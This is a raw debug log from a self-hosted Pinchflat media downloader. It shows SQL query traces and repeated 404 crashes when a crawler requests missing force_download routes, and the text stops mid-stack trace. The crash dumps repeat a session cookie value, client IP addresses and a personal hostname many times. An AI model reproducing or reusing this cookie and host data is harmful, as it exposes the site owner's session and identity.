o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3798561] 18:14:38.359 [debug] QUERY OK source="settings" db=0.0ms idle=47.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.359 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.359 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.359 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:38.360 [info] Sent 200 in 2ms 18:14:38.447 [info] GET /sources/2/media/1564181 18:14:38.447 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564181", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:14:38.447 [debug] QUERY OK source="media_items" db=0.1ms idle=88.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564181] 18:14:38.447 [debug] QUERY OK source="tasks" db=0.1ms idle=88.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564181] 18:14:38.447 [debug] QUERY OK source="sources" db=0.1ms idle=88.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:14:38.448 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=88.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3799404] 18:14:38.448 [debug] QUERY OK source="settings" db=0.0ms idle=88.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.448 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.448 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.448 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:38.449 [info] Sent 200 in 2ms 18:14:38.537 [info] GET /media/e81b9460-235e-44f0-8f2f-20923d6588b1/stream 18:14:38.538 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "e81b9460-235e-44f0-8f2f-20923d6588b1"} Pipelines: [:maybe_basic_auth] 18:14:38.539 [debug] QUERY OK source="media_items" db=0.9ms idle=89.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["e81b9460-235e-44f0-8f2f-20923d6588b1"] 18:14:38.539 [debug] Invalid range request for media item: e81b9460-235e-44f0-8f2f-20923d6588b1 - serving full file 18:14:38.539 [info] Sent 200 in 1ms 18:14:38.629 [info] GET /sources/36/media/1564179/force_download 18:14:38.630 [debug] QUERY OK source="settings" db=0.1ms idle=181.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.630 [debug] QUERY OK source="settings" db=0.0ms idle=181.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.630 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:14:38.630 [error] #PID<0.23632.0> running PinchflatWeb.Endpoint (connection #PID<0.23631.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/36/media/1564179/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/36/media/1564179/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/36/media/1564179/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23632.0>, params: %{}, path_info: ["sources", "36", "media", "1564179", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/36/media/1564179/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMI6cYKOL8iwZMACbOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/36/media/1564179/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/36/media/1564179/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/36/media/1564179/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23632.0>, params: %{}, path_info: ["sources", "3 (truncated) 18:14:38.720 [info] GET /sources/1/media/1564180/force_download 18:14:38.720 [debug] QUERY OK source="settings" db=0.1ms idle=271.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.720 [debug] QUERY OK source="settings" db=0.1ms idle=271.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.720 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:14:38.721 [error] #PID<0.23634.0> running PinchflatWeb.Endpoint (connection #PID<0.23633.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/1/media/1564180/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/1564180/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23633.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1564180/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56570}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23634.0>, params: %{}, path_info: ["sources", "1", "media", "1564180", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/1/media/1564180/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMI6ctwhhua7u0ABjVi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23633.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1564180/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56570}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/1564180/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23633.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1564180/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56570}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23634.0>, params: %{}, path_info: ["sources", "1", "medi (truncated) 18:14:38.811 [info] GET /sources/37/media/1564182/force_download 18:14:38.811 [debug] QUERY OK source="settings" db=0.1ms idle=272.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.811 [debug] QUERY OK source="settings" db=0.0ms idle=181.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.811 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:14:38.811 [error] #PID<0.23636.0> running PinchflatWeb.Endpoint (connection #PID<0.23635.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/37/media/1564182/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/37/media/1564182/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/37/media/1564182/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56586}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23636.0>, params: %{}, path_info: ["sources", "37", "media", "1564182", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/37/media/1564182/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMI6dDYn4PtsX0ABjWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, 